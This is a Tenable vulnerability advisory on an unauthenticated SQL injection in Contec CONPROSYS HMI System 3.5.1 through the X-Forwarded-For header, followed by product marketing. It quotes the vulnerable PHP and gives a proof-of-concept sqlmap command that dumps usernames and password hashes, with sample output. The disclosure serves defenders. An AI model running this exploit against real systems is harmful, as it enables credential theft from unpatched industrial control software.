Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Contec CONPROSYS HMI System (CHS) Unauthenticated SQLi

High

Synopsis

There is an SQL injection vulnerability in Contec CONPROSYS HMI System (CHS) 3.5.1. An unauthenticated remote attacker can exploit it to enumerate a CHS database.

CHS logs login attempts to the dbo.m_user_login table in a PostgreSQL database:

from: auth_login.php 
<...snip...>
    $v = d5::v(); // get client IP address
    if ($l != null) {
        $p = ad(time());
        $q = new d5($i, null, null, 'dbo.m_user_login');
        try {
            $q->_a(_S34_, "'" . $o . "','" . $l->l . "','" . $v . "','" . $p . "',true," . ($b ? 'true' : 'false'));
<...snip...>

It uses the client IP address to fill in the client_ip column in the m_user_login table. The IP address can be taken from an attacker-controlled X-Forwarded-For header:

from: CPostgreSQL.php 
<...snip...>
    static function v()
    {
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        if (isset($_SERVER['REMOTE_ADDR']))
            return $_SERVER['REMOTE_ADDR'];
        return '';
    }
<...snip...>

The X-Forwarded-For header is not sanitized, allowing SQL injection via a PostgreSQL INSERT statement:

from: CPostgreSQL.php 
<...snip...>
    function _a($a, $e)
    {
        if ($a == null || $a == '' || $e == null || $e == '') {
            $this->a = 'Error: Invalid parameter.';
            return FALSE;
        }
        if ($this->_ == null) {
            if (!$this->k())
                return FALSE;
        }
        if ($this->_ == null) {
            $this->a = 'Error: Not connected.';
            return FALSE;
        }
        $c = 'insert into ' . $this->f . ' (' . $a . ') values (' . $e . ')';
        $_ = FALSE;
        try {
            $d = $this->_->prepare($c);
            $_ = $d->execute();
<...snip...>

PoC

The following sqlmap command extracts user names and password hashes in the companys.dbo.s_users table:

sqlmap -u 'http:///php/login.php' --data='uid=admin&pwd=aaaa&cid=admin&pid=admin&type=admin,user&nname=1&lang=en' –headers="X-Forwarded-For:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*" --technique=T --level 5 --risk 3 --ignore-code=401 --dbms=PostgreSQL -p 'X-Forwarded-For' --no-cast --drop-set-cookie --dump -D dbo -T s_users -C login_id,login_password
<...snip...>
[1 entry]
+----------+-------------------------------------------------------------------+
| login_id | login_password                                                    |
+----------+-------------------------------------------------------------------+
| admin    | :a0edf1520405d98745153ca965fb376e62b662d1ae4316ab4af3402e44b859f5 |
+----------+-------------------------------------------------------------------+
<...snip...>

Solution

Install the latest version (Ver.3.5.2 or later) on CONTEC's website or restrict access to the product using a firewall as a workaround if unable to update.

Disclosure Timeline

3/10/2023 - Vulnerability Reported
3/12/2023 - Received automated response from vendor
3/14/2023 - Vendor confirms vulnerability and asks to continue disclosure process with JPCERT.
3/14/2023 - Tenable agrees to coordinate with JPCERT.
3/15/2023 - Vendor confirms agreement.
3/23/2023 - Vendor says JPCERT is asking for CVE.
3/27/2023 - JPCERT asks for CVE from Tenable.
3/27/2023 - Tenable reserves and provides JPCERT CVE identifier.
3/28/2023 - JPCERT informs Tenable that vendor will publish advisory on 3/31/2023, and asks if we will.
3/29/2023 - Tenable provides JPCERT link to Tenable Research advisory page were advisory will be published.
3/29/2023 - JPCERT informs that their advisory will be published March 31 13:00 JST.
3/31/2023 - Tenable publishes advisory.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-1658
Tenable Advisory ID
TRA-2023-14
CVSSv3 Base / Temporal Score
7.5/6.7
CVSSv3 Vector
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Risk Factor
High

Advisory Timeline

3/31/2023 - Advisory published.

Tenable Vulnerability Management

Formerly Tenable.io


Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin, Tenable Web App Scanning and Tenable Cloud Security.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin, Tenable Web App Scanning and Tenable Cloud Security.

Tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Formerly Tenable.io Web Application Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management, Tenable Lumin and Tenable Cloud Security.

Buy Tenable Web App Scanning

Formerly Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management, Tenable Web App Scanning and Tenable Cloud Security.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Cloud Security

Formerly Tenable.cs

Enjoy full access to detect and fix cloud infrastructure misconfigurations and view runtime vulnerabilities. Sign up for your free trial now. To learn more about the trial process click here.

Your Tenable Cloud Security trial also includes Tenable Vulnerability Management, Tenable Lumin and Tenable Web App Scanning.

Contact a Sales Rep to Buy Tenable Cloud Security

Contact a Sales Representative to learn more about Tenable Cloud Security and see how easy it is to onboard your cloud accounts and get visibility into both cloud misconfigurations and vulnerabilities within minutes.

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training

Try Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training